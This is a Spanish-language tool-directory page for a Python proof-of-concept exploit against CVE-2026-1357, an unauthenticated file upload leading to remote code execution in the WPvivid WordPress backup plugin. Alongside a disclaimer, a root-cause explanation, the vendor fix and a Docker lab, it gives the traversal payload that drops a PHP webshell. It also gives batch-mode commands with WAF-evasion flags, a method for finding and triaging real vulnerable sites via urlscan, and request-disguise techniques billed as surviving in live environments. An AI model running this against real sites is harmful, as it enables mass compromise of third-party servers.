Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-1357 — Prueba de concepto de exploit para CVE-2026-1357, una subida de archivos arbitraria sin autenticación en WPvivid Backup & Migration que conduce a la ejecución remota de código. Incluye un script independiente en Python, técnicas de evasión de WAF y un laboratorio vulnerable dockerizado para autorizar | Kitploit
Herramientas/GitHubGitHub/sahmsec/cve-2026-1357
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubsahmsec/cve-2026-1357

CVE-2026-1357

Ver Repositorio
120hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto de exploit para CVE-2026-1357, una subida de archivos arbitraria sin autenticación en WPvivid Backup & Migration que conduce a la ejecución remota de código. Incluye un script independiente en Python, técnicas de evasión de WAF y un laboratorio vulnerable dockerizado para autorizar

Compartir

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Subida de archivos arbitraria sin autenticación → RCE

PoC para CVE-2026-1357 (CVSS 9.8 Crítico, CWE-434): una subida de archivos arbitraria sin autenticación en el plugin WPvivid Backup & Migration para WordPress que conduce a la ejecución remota de código. Corregido en 0.9.124 (changeset 3448386). Reportado por Lucas Montes a través del programa Bug Bounty de Wordfence.

  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Aviso legal

Esta prueba de concepto se proporciona únicamente para investigación de seguridad autorizada, educación y pruebas defensivas.

  • Debes ser propietario del sistema objetivo o contar con permiso explícito por escrito del propietario del sistema antes de ejecutar esta herramienta contra él.
  • El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones (por ejemplo, la Computer Fraud and Abuse Act en EE. UU., la Computer Misuse Act en el Reino Unido y leyes similares en todo el mundo) y puede conllevar sanciones penales y civiles.
  • Los autores y colaboradores no asumen ninguna responsabilidad por cualquier uso indebido, daño o consecuencia legal derivada del uso de este código.
  • Al utilizar este software aceptas usarlo de manera responsable y en cumplimiento de todas las leyes aplicables.

En qué consiste la vulnerabilidad

El manejador send_to_site sin autenticación (includes/customclass/class-wpvivid-send-to-site.php) descifra un blob proporcionado por el atacante y escribe el contenido de $params['data'] en wp-content/wpvividbackups/<nombre controlado por el atacante> — sin autenticación, sin nonce y sin saneamiento de rutas en name.

La protección prevista es RSA: el mensaje debe estar cifrado con una clave de sesión aleatoria, que a su vez está cifrada con RSA usando la clave del sitio. El fallo está en WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):

$key = $rsa->decrypt($key);          // devuelve FALSE en caso de error (blob de clave inválido)
$rij = new Crypt_Rijndael();
$rij->setKey($key);                  // FALSE se trata como una clave de bytes nulos
return $rij->decrypt($data);

El método Crypt_RSA::decrypt() de phpseclib devuelve false cuando el blob de clave proporcionado no puede descifrarse (por ejemplo, cuando openssl_private_decrypt() falla), y el plugin no aborta. false se pasa entonces a Crypt_Rijndael::setKey(), donde strlen(false) → 0 → la clave se rellena con 16 bytes nulos (AES-128, modo CBC, IV nulo). Por lo tanto, un atacante "cifra" la carga útil con una clave nula totalmente predecible — sin necesidad de conocer la clave real del sitio.

La carga útil es JSON:

{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
 "file_size":<len>,"md5":"<md5>","data":"<base64 de PHP>"}

name se concatena en la ruta sin saneamiento (str_replace('wpvivid','wpvivid_temp', $name) solo reescribe la subcadena "wpvivid"), por lo que ../../ escapa de wp-content/wpvividbackups/ hacia la raíz web. Cuando file_size/md5 coinciden, el archivo temporal se renombra al nombre elegido por el atacante → PHP accesible públicamente → RCE.

La corrección (changeset 3448386) aborta cuando falla el paso RSA:

if ($key === false || empty($key)) {
    return false;
}

Requisitos

Objetivo:

  • WPvivid Backup & Migration ≤ 0.9.123
  • La opción wpvivid_api_token debe existir y no estar caducada — se crea cuando un administrador hace clic en Generar en WPvivid → Ajustes → Migración automática (común en sitios que usan la función de migración)
  • Ejecución de archivos PHP en la raíz web (por defecto en la mayoría de los alojamientos)

Atacante:

  • Python 3 (solo biblioteca estándar)

Uso

script.py es totalmente autónomo: solo biblioteca estándar, sin importaciones locales, sin archivos externos. CLI posicional simple:

# objetivo único
python script.py https://target.example.com

# comando personalizado
python script.py https://target.example.com --command "uname -a"

# modo por lotes (una URL por línea) -> success.txt / failed.txt
python script.py sites.txt --threads 10

# Evasión de WAF: nombres/valores de parámetros codificados en porcentaje o cuerpo multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart

# auto-eliminar el webshell después de la prueba
python script.py https://target.example.com --cleanup

Códigos de salida: 0 vulnerable, 1 en caso contrario.

Laboratorio

../lab/ contiene un objetivo vulnerable dockerizado (WordPress 6.8 + fuente de WPvivid 0.9.123 desde plugins/):

cd ../lab
docker compose up -d
# completa la instalación de WordPress en http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'

cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id

Descubrimiento de objetivos

Fuentes verificadas que funcionan (probadas en vivo, sin necesidad de cuenta):

  • urlscan.io — abre esto en un navegador: https://urlscan.io/search/#filename:wpvivid-backuprestore ~74 páginas indexadas que hacen referencia al slug del plugin; haz clic y recopila los nombres de host. Cada URL de resultado comienza con la ruta del plugin (/wp-content/plugins/wpvivid-backuprestore/), por lo que la extracción de hosts es fácil.

Consultas que se probaron y NO producen objetivos (excluidas a propósito): Dorks de Google/Bing (inurl: devuelve solo las páginas de wordpress.org del propio plugin o un muro anti-bots), DuckDuckGo (igual), Shodan http.html: (HTML truncado indexado, cero resultados), comodín de Wayback CDX (vacío), PublicWWW (bloqueo de scraping de invitados).

Alimenta los hosts recopilados al triaje (integrado en script.py como --triage), que comprueba en cada sitio:

  1. Versión — wp-content/plugins/wpvivid-backuprestore/readme.txt → Stable tag: 0.9.123 (comprobación sin autenticación de bajo ruido; las cadenas de consulta ?ver= de los assets en el HTML son el respaldo)
  2. Token — POST basura wpvivid_action=send_to_site&wpvivid_content=AAAA: respuesta JSON (The key is invalid.) = wpvivid_api_token existe; vacío = sin token / plugin inactivo / WAF descartó la sonda

Solo los sitios que son <= 0.9.123 y con token activo se escriben en in-scope.txt, luego:

python script.py sites.txt --triage --threads 10   # → in-scope.txt
python script.py in-scope.txt --threads 5

Supervivencia en red

Técnicas portadas de un uploader de 2025 de larga duración que siguió funcionando en entornos reales (mismo autor):

  • Disfraz AJAX en el POST de subida: X-Requested-With: XMLHttpRequest, Accept: application/json, */*;q=0.1, Referer del mismo origen, UA de navegador
  • Los GET de seguimiento del shell llevan un Referer del mismo origen
  • Modo por lotes con hilos (--threads N) con tiempos de espera cortos por solicitud
  • success.txt / failed.txt escritos en modo por lotes, solo los shells verificados se registran como éxito (como el archivo success del original)
  • Nombres de archivo aleatorios de 12 hex y nombres de parámetros de shell únicos por subida
  • --encode / --multipart para evasión de la forma de la solicitud

Verificado contra un mod_security en vivo (OWASP CRS paranoia 1) en laboratorio

Descargar herramienta